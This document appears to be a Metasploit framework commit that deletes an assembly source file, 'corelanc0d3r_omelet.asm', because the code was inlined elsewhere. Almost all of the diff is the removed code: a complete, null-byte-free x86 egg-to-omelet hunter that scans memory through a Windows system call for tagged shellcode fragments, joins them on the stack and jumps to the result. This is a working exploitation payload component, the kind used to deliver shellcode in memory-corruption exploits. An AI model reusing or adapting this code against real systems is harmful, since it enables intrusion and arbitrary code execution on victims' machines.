remove asm file now that the assembly is inlined in the class

git-svn-id: file:///home/svn/framework3/trunk@10120 4d416f70-5f16-0410-b530-b9f4589650da

external/source/corelanc0d3r_omelet.asm

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-;--------------------------------------------------
-;corelanc0d3r -  egg-to-omelet hunter - null byte free
-;v1.0
-;http://www.corelan.be:8800
-;peter.ve@corelan.be
-;--------------------------------------------------
-BITS 32
-
-nr_eggs equ 0x2			;number of eggs
-egg_size equ 0x7b		;123 bytes of payload per egg
-
-jmp short start
-
-;routine to calculate the target location 
-;for writing recombined shellcode (omelet)
-;I'll use EDI as target location
-;First, I'll make EDI point to end of stack
-;and I'll put the number of shellcode eggs in eax
-get_target_loc:
-							;get stack pointer and put it in EDI
-push esp
-pop edi
-							;set EDI to end of stack
-or di,0xffff				;edi=0x....ffff = end of current stack frame
-mov edx,edi         		;use edx as start location for the search
-xor eax,eax					;zero eax
-mov al,nr_eggs				;put number of eggs in eax
-calc_target_loc:
-xor esi,esi					;use esi as counter to step back
-mov si,0-egg_size+20        ;add 20 bytes of extra space, per egg
-
-get_target_loc_loop:		;start loop
-dec edi						;step back
-inc esi						;and update ESI counter
-cmp si,-1					;continue to step back until ESI = -1
-jnz get_target_loc_loop
-dec eax						;loop again if we did not take all pieces
-							;into account yet
-jnz calc_target_loc	
-;edi now contains target location for recombined shellcode
-xor ebx,ebx					;put loop counter in ebx
-mov bl,nr_eggs+1
-ret
-
-start:
-call get_target_loc			;jump to routine which will calculate shellcode
-							;target address
-
-;start looking, using edx as basepointer
-jmp short search_next_address
-find_egg:
-dec edx             ;scasd does edx+4, so dec edx 4 times + inc edx one time
-					;  to make sure we don't miss any pointers
-dec edx
-dec edx
-dec edx
-search_next_address:
-inc edx				;next one
-push edx			;save edx
-push byte +0x02
-pop eax				;set eax to 0x02
-int 0x2e
-cmp al,0x5			;address readable ?
-pop edx				;restore edx
-je search_next_address         ;if address is not readable, go to next address
-mov eax,0x77303001	;if address is readable, prepare tag in eax
-add eax,ebx			;add offset (ebx contains egg counter, remember ?)
-xchg edi,edx		;switch edx/edi
-scasd				;edi points to the tag ? 
-xchg edi,edx		;switch edx/edi back
-jnz find_egg		;if tag was not found, go to next address
-;found the tag at edx
-
-copy_egg:
-;ecx must first be set to egg_size (used by rep instruction)
-;and esi as source
-mov esi,edx         ;set ESI = EDX (needed for rep instruction)
-xor ecx,ecx
-mov cl,egg_size     ;set copy counter
-rep movsb           ;copy egg from ESI to EDI
-dec ebx				;decrement egg
-cmp bl,1            ;found all eggs ?
-jnz find_egg        ;no = look for next egg
-; done - all eggs have been found and copied
-
-done:
-call get_target_loc	; re-calculate location where recombined shellcode is placed
-jmp edi				; and jump to it :)
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